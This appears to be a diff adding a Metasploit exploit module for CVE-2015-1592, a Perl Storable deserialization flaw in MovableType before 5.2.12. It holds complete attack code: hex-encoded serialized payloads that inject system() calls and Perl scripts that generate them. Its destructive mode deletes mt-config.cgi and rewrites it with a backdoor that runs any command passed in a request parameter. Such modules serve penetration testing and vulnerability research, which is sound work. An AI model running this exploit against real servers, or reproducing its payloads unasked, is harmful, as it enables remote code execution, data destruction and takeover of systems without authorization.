|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = GoodRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'SixApart MovableType Storable Perl Code Execution', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits a serialization flaw in MovableType before 5.2.12 to execute |
| 18 | + arbitrary code. The default nondestructive mode depends on the target server having |
| 19 | + the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths. |
| 20 | + The destructive mode of operation uses only required MovableType dependencies, |
| 21 | + but it will noticeably corrupt the MovableType installation. |
| 22 | + }, |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'John Lightsey', |
| 26 | + ], |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'References' => |
| 29 | + [ |
| 30 | + [ 'CVE', '2015-1592' ], |
| 31 | + [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ], |
| 32 | + ], |
| 33 | + 'Privileged' => false, # web server context |
| 34 | + 'Payload' => |
| 35 | + { |
| 36 | + 'DisableNops' => true, |
| 37 | + 'BadChars' => ' ', |
| 38 | + 'Space' => 1024, |
| 39 | + }, |
| 40 | + 'Compat' => |
| 41 | + { |
| 42 | + 'PayloadType' => 'cmd' |
| 43 | + }, |
| 44 | + 'Platform' => ['unix'], |
| 45 | + 'Arch' => ARCH_CMD, |
| 46 | + 'Targets' => [['Automatic', {}]], |
| 47 | + 'DisclosureDate' => 'Feb 11 2015', |
| 48 | + 'DefaultTarget' => 0)) |
| 49 | + |
| 50 | + register_options( |
| 51 | + [ |
| 52 | + OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']), |
| 53 | + OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false]) |
| 54 | + ], self.class |
| 55 | + ) |
| 56 | + |
| 57 | + end |
| 58 | + |
| 59 | +=begin |
| 60 | +
|
| 61 | +#!/usr/bin/perl |
| 62 | +
|
| 63 | +# generate config parameters for injection checks |
| 64 | +
|
| 65 | +use Storable; |
| 66 | +
|
| 67 | +{ |
| 68 | +
|
| 69 | + package XXXCHECKXXX; |
| 70 | +
|
| 71 | + sub STORABLE_thaw { |
| 72 | + return 1; |
| 73 | + } |
| 74 | +
|
| 75 | + sub STORABLE_freeze { |
| 76 | + return 1; |
| 77 | + } |
| 78 | +
|
| 79 | +} |
| 80 | +
|
| 81 | +my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX; |
| 82 | +my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj}); |
| 83 | +$frozen = unpack 'H*', $frozen; |
| 84 | +print "LFI test for storable flaw is: $frozen\n"; |
| 85 | +
|
| 86 | +{ |
| 87 | + package DateTime; |
| 88 | + use overload '+' => sub { 'ignored' }; |
| 89 | +} |
| 90 | +
|
| 91 | +=end |
| 92 | + |
| 93 | + def check |
| 94 | + vprint_status("#{peer} - Sending storable test injection for XXXCHECKXXX.pm load failure") |
| 95 | + res = send_request_cgi({ |
| 96 | + 'method' => 'GET', |
| 97 | + 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), |
| 98 | + 'vars_get' => { |
| 99 | + '__mode' => 'retry', |
| 100 | + 'step' => 'configure', |
| 101 | + 'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078' |
| 102 | + } |
| 103 | + }) |
| 104 | + |
| 105 | + unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm") |
| 106 | + vprint_status("#{peer} - Failed XXXCHECKXXX.pm load test"); |
| 107 | + return Exploit::CheckCode::Safe |
| 108 | + end |
| 109 | + Exploit::CheckCode::Vulnerable |
| 110 | + end |
| 111 | + |
| 112 | + def exploit |
| 113 | + if datastore['DESTRUCTIVE'] == true |
| 114 | + exploit_destructive |
| 115 | + else |
| 116 | + exploit_nondestructive |
| 117 | + end |
| 118 | + end |
| 119 | + |
| 120 | +=begin |
| 121 | +
|
| 122 | +#!/usr/bin/perl |
| 123 | +
|
| 124 | +# Generate nondestructive config parameter for RCE via Object::MultiType |
| 125 | +# and Try::Tiny. The generated value requires minor modification to insert |
| 126 | +# the payload inside the system() call and resize the padding. |
| 127 | +
|
| 128 | +use Storable; |
| 129 | +
|
| 130 | +{ |
| 131 | + package Object::MultiType; |
| 132 | + use overload '+' => sub { 'ingored' }; |
| 133 | +} |
| 134 | +
|
| 135 | +{ |
| 136 | + package Object::MultiType::Saver; |
| 137 | +} |
| 138 | +
|
| 139 | +{ |
| 140 | + package DateTime; |
| 141 | + use overload '+' => sub { 'ingored' }; |
| 142 | +} |
| 143 | +
|
| 144 | +{ |
| 145 | + package Try::Tiny::ScopeGuard; |
| 146 | +} |
| 147 | +
|
| 148 | +my $try_tiny_loader = bless {}, 'DateTime'; |
| 149 | +my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver'; |
| 150 | +my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType'; |
| 151 | +my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard'; |
| 152 | +
|
| 153 | +my $data = [$try_tiny_loader, $try_tiny_executor]; |
| 154 | +my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data); |
| 155 | +$frozen = unpack 'H*', $frozen; |
| 156 | +print "RCE payload requiring Object::MultiType and DateTime: $frozen\n"; |
| 157 | +
|
| 158 | +=end |
| 159 | + |
| 160 | + def exploit_nondestructive |
| 161 | + print_status("#{peer} - Using nondestructive attack method") |
| 162 | + config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b" |
| 163 | + config_payload << payload.encoded.unpack('H*')[0] |
| 164 | + config_payload << "7d293b" |
| 165 | + config_payload << "23" * (1025 - payload.encoded.length) |
| 166 | + config_payload << "0a657869743b" |
| 167 | + |
| 168 | + print_status("#{peer} - Sending payload (#{payload.raw.length} bytes)") |
| 169 | + |
| 170 | + send_request_cgi({ |
| 171 | + 'method' => 'GET', |
| 172 | + 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), |
| 173 | + 'vars_get' => { |
| 174 | + '__mode' => 'retry', |
| 175 | + 'step' => 'configure', |
| 176 | + 'config' => config_payload |
| 177 | + } |
| 178 | + }, 5) |
| 179 | + end |
| 180 | + |
| 181 | +=begin |
| 182 | +
|
| 183 | +#!/usr/bin/perl |
| 184 | +
|
| 185 | +# Generate destructive config parameter to unlink mt-config.cgi |
| 186 | +
|
| 187 | +use Storable; |
| 188 | +
|
| 189 | +{ |
| 190 | + package CGITempFile; |
| 191 | +} |
| 192 | +
|
| 193 | +my $unlink_target = "mt-config.cgi"; |
| 194 | +my $cgitempfile = bless \$unlink_target, "CGITempFile"; |
| 195 | +
|
| 196 | +my $data = [$cgitempfile]; |
| 197 | +my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data); |
| 198 | +$frozen = unpack 'H*', $frozen; |
| 199 | +print "RCE unlink payload requiring CGI: $frozen\n"; |
| 200 | +
|
| 201 | +=end |
| 202 | + |
| 203 | + def exploit_destructive |
| 204 | + print_status("#{peer} - Using destructive attack method") |
| 205 | + # First we need to delete mt-config.cgi using the storable injection |
| 206 | + |
| 207 | + print_status("#{peer} - Sending storable injection to unlink mt-config.cgi") |
| 208 | + |
| 209 | + res = send_request_cgi({ |
| 210 | + 'method' => 'GET', |
| 211 | + 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), |
| 212 | + 'vars_get' => { |
| 213 | + '__mode' => 'retry', |
| 214 | + 'step' => 'configure', |
| 215 | + 'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769' |
| 216 | + } |
| 217 | + }) |
| 218 | + |
| 219 | + if res && res.code == 200 |
| 220 | + print_status("Successfully sent unlink request") |
| 221 | + else |
| 222 | + fail_with(Failure::Unknown, "Error sending unlink request") |
| 223 | + end |
| 224 | + |
| 225 | + # Now we rewrite mt-config.cgi to accept a payload |
| 226 | + |
| 227 | + print_status("#{peer} - Rewriting mt-config.cgi to accept the payload") |
| 228 | + |
| 229 | + res = send_request_cgi({ |
| 230 | + 'method' => 'GET', |
| 231 | + 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), |
| 232 | + 'vars_get' => { |
| 233 | + '__mode' => 'next_step', |
| 234 | + 'step' => 'optional', |
| 235 | + 'default_language' => 'en_us', |
| 236 | + 'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1", |
| 237 | + 'set_static_uri_to' => '/', |
| 238 | + 'config' => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/', |
| 239 | + } |
| 240 | + }) |
| 241 | + |
| 242 | + if res && res.code == 200 |
| 243 | + print_status("Successfully sent mt-config rewrite request") |
| 244 | + else |
| 245 | + fail_with(Failure::Unknown, "Error sending mt-config rewrite request") |
| 246 | + end |
| 247 | + |
| 248 | + # Finally send the payload |
| 249 | + |
| 250 | + print_status("#{peer} - Sending payload request") |
| 251 | + |
| 252 | + send_request_cgi({ |
| 253 | + 'method' => 'GET', |
| 254 | + 'uri' => normalize_uri(target_uri.path, 'mt.cgi'), |
| 255 | + 'vars_get' => { |
| 256 | + 'xyzzy' => payload.encoded, |
| 257 | + } |
| 258 | + }, 5) |
| 259 | + end |
| 260 | + |
| 261 | +end |
0 commit comments